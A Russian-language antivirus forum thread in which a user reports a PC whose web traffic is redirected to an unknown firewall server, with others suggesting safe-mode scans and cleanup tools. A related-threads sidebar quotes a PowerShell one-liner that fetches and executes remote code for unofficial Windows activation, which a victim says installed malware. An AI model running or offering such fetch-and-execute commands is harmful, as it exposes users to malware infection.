Перейти к содержанию

Вирус новый?


kolyaN

Рекомендуемые сообщения

:whistle: :hi: :P У меня тут случилось странное - компьютер перестал соединяться с инетом - а именно - стал пересылать меня на каойто tgs-server и на какой-то winroute firewall. Я скачал и установил ваш АВ (подумал что видимор мой бесплатный АВГ несправляется) но и он ничего не нашёл! Тем не менее с этого компа (с которого я сейчас пишу) всё нормально, а с того - нет!

Я так понял что этот вирус блокирует http трафик, птому что скайп и мейлагент нормально конектят, но открыть страницу (или даже активировать касперского) не удаётся!

 

Что делать?

 

:) :D :D ;) ;) ;) ;)

 

Кстати, у провайдера спрашивал, у них нету никакого винроута и вообще странно!

Изменено пользователем kolyaN
Ссылка на комментарий
Поделиться на другие сайты

i



Information:

Ты форумом ошибся! Поехали в помощь и обмен опытом!

Kind regards, CbIP.



Насчёт вируса, по твоему описанию, это не вирус, а то, что тебе интернет заблокировали... Или ты его сам заблокировал...

Ссылка на комментарий
Поделиться на другие сайты

Нет, я звонил провайдеру - они сказали что ещё у кого-то такая же проблема, в чём дело они пока не знают, так же они сказали что керио винроут это под винд фаервол , а у них серверов под виндом нет и ещё тот с комп с которого я сейчас пишу вполне себе не заблокирован и ещё - скайп и ася и мейлагент - они конектят с виндосом и даже касперский сегодняшние сигнатуры скачал

Ссылка на комментарий
Поделиться на другие сайты

ет конечно! Иначе я бы и не парился! Вообще - я уснул - инет работал, утром включаю комп - авсё уже вот так как я описал! И самое обидно что я ничего не ставил, никакие фаайлы не загружал почту странную не открывал!

Ссылка на комментарий
Поделиться на другие сайты

Какие ещё дрова?

Надо объяснять.

Я знаю что дрова это драйверы, но тем нне менее - не понимаю - откуда мог взяяться этот винроут прелестный!

Ссылка на комментарий
Поделиться на другие сайты

На всякий случай, вот официальный сайт WinRoute: http://www.winroute.ru/kerio_winroute_firewall.htm

Я все-таки не думаю, что WinRoute мог сам собой закачаться и установиться...

Ссылка на комментарий
Поделиться на другие сайты

Какие ещё дрова?

Надо объяснять.

Я знаю что дрова это драйверы, но тем нне менее - не понимаю - откуда мог взяяться этот винроут прелестный!

Нажми правой кнопкой на мой компьютер выбири свойсва потом hardware потом device manager и смотри в network adapters нетули восклицательных знаков если

есть устанавливай драва, должны быть на диске лицензионном и будет тебе инет :whistle:

Ссылка на комментарий
Поделиться на другие сайты

На всякий случай, вот официальный сайт WinRoute: http://www.winroute.ru/kerio_winroute_firewall.htm

Я все-таки не думаю, что WinRoute мог сам собой закачаться и установиться...

вот ия не думаю - поэтому полагаю что это вирус

Ссылка на комментарий
Поделиться на другие сайты

Какие ещё дрова?

Надо объяснять.

Я знаю что дрова это драйверы, но тем нне менее - не понимаю - откуда мог взяяться этот винроут прелестный!

Нажми правой кнопкой на мой компьютер выбири свойсва потом hardware потом device manager и смотри в network adapters нетули восклицательных знаков если

есть устанавливай драва, должны быть на диске лицензионном и будет тебе инет :)

 

Нету знаков восклицательных

:whistle: :hi: :P

Ссылка на комментарий
Поделиться на другие сайты

Он мне прописал какой-то странный IP 192.168.53.110

и перенаправляет на сайт https://tcg-server:4081/

 

Доступ есть только сюда. Но дело не в провайдере, так как я вполне могу попасть в интрнет с другого компа.

 

И если я пропишу тот IP который нужен - я попадаю только на сайт моего провайдера, а вот VPN и в какую не хочет подключаться. И более того - даже флеш диски он не хочет читать, а диски даже (!) пищат (никогда не думал что они могут издавать такой писк!).

 

Вот так-то. Думаю - может попросить прова отключить мне PN нор это не решит проблемы полностью - потому что то что там живёт останется, а вот антивирусы не хотят его находить! Да и я сам не могу.

 

Может кто-то что-то мне подсунул через вай-фай?

Ссылка на комментарий
Поделиться на другие сайты

Он мне прописал какой-то странный IP 192.168.53.110

и перенаправляет на сайт https://tcg-server:4081/

 

Доступ есть только сюда. Но дело не в провайдере, так как я вполне могу попасть в интрнет с другого компа.

 

И если я пропишу тот IP который нужен - я попадаю только на сайт моего провайдера, а вот VPN и в какую не хочет подключаться. И более того - даже флеш диски он не хочет читать, а диски даже (!) пищат (никогда не думал что они могут издавать такой писк!).

 

Вот так-то. Думаю - может попросить прова отключить мне PN нор это не решит проблемы полностью - потому что то что там живёт останется, а вот антивирусы не хотят его находить! Да и я сам не могу.

 

Может кто-то что-то мне подсунул через вай-фай?

Выключите востановление системы и попробуйте в безопасном режиме просканировать комп.

Как перезагрузить компьютер в Режиме Защиты от Сбоев (Безопасный режим) http://support.kaspersky.ru/kis6mp1/tech?p...p;qid=180593101

Как выключить востановлеие системы http://support.kaspersky.ru/viruses/computers?qid=208635440

Если это не поможет , тогда:

Скачайте эту прогу и проверьте комп :

ftp://ftp.drweb.com/pub/drweb/cureit/cureit.exe

 

Если это не поможет , тогда читайте:

http://virusinfo.info/showthread.php?t=1235

 

 

С уважением СЕРГЕЙ

Ссылка на комментарий
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти
  • Похожий контент

    • San4s2034
      От San4s2034
      Недавно скачал Game of Thrones Genesis с torrent-game.net. Касперски указал, что сайту можно доверять и он проверен. По итогу через время заметил, что в valorant фпс стал заблоченным на 75 и поднимается вверх только если я двигаю мышкой или нажимаю что-то на клавиатуре. Очевидно, что словил майнер. Запустил быструю и полную проверку, результата не дало. Попробовал через защитник windows 11. Заметил, что прогресс доходит до ~70% и потом просто зависает. Запустился через безопасный режим, зашёл в защитник и вылезла ошибка(скриншот). Проверил реестр и групповые политики, ничего нет, все чисто. 

    • San4s2034
      От San4s2034
      Недавно скачал Game of Thrones Genesis с torrent-game.net. Касперски указал, что сайту можно доверять и он проверен. По итогу через время заметил, что в valorant фпс стал заблоченным на 75 и поднимается вверх только если я двигаю мышкой или нажимаю что-то на клавиатуре. Очевидно, что словил майнер. Запустил быструю и полную проверку, результата не дало. Попробовал через защитник windows 11. Заметил, что прогресс доходит до ~70% и потом просто зависает. Запустился через безопасный режим, зашёл в защитник и вылезла ошибка(скриншот). Проверил реестр и групповые политики, ничего нет, все чисто. 

    • fertune
      От fertune
      Когда открываешь диспетчер задач то сначала ЦП грузит на 100% а потом на 10% я посмотрел через dr.web cureit и увидел то что это майнер dialer.exe, смотрел в интернете как пофиксить но никакие способы не помогли(может быть я что то делал неправильно)
      можете помочь с проблемой? Еще я пробовал его фиксить удаляя его но он опять появлялся и грузил ЦП на все 100%.
       
    • Temikst
      От Temikst
      Приветствую. Сын скачивал какую-то программу для игры, как итог словили какой-то вирус. Dr.web ничего не нашел. но обратил внимание что комп стал тупить, до этого не было так
      CollectionLog-2025.02.09-23.46.zip

       
      Даже браузер сильно тормозит. после открывание диспетчер задач сразу же лучше работает\
    • VanyeJ
      От VanyeJ
      Здравствуйте, при включении компьютера и окончательном входе в систему PowerShell пытается перекинуть на вредоносную ссылку. Касперский сразу же блокирует.

      Событие: Остановлен переход на сайт
      Пользователь: WIN-O4R3Q0UCBR5\User
      Тип пользователя: Инициатор
      Имя приложения: powershell.exe
      Путь к приложению: C:\Windows\System32\WindowsPowerShell\v1.0
      Компонент: Интернет-защита
      Описание результата: Запрещено
      Тип: Вредоносная ссылка
      Название: 
      Точность: Точно
      Степень угрозы: Высокая
      Тип объекта: Веб-страница
      Имя объекта: 1731762779-9803.jpeg
      Путь к объекту: 
      Причина: Облачная защита

      Активировал Windows через cmd после этого появилось (powershell iex (irm 'activated.run/key')) команда после которой вирус появился.
      CollectionLog-2025.02.08-15.48.zip
×
×
  • Создать...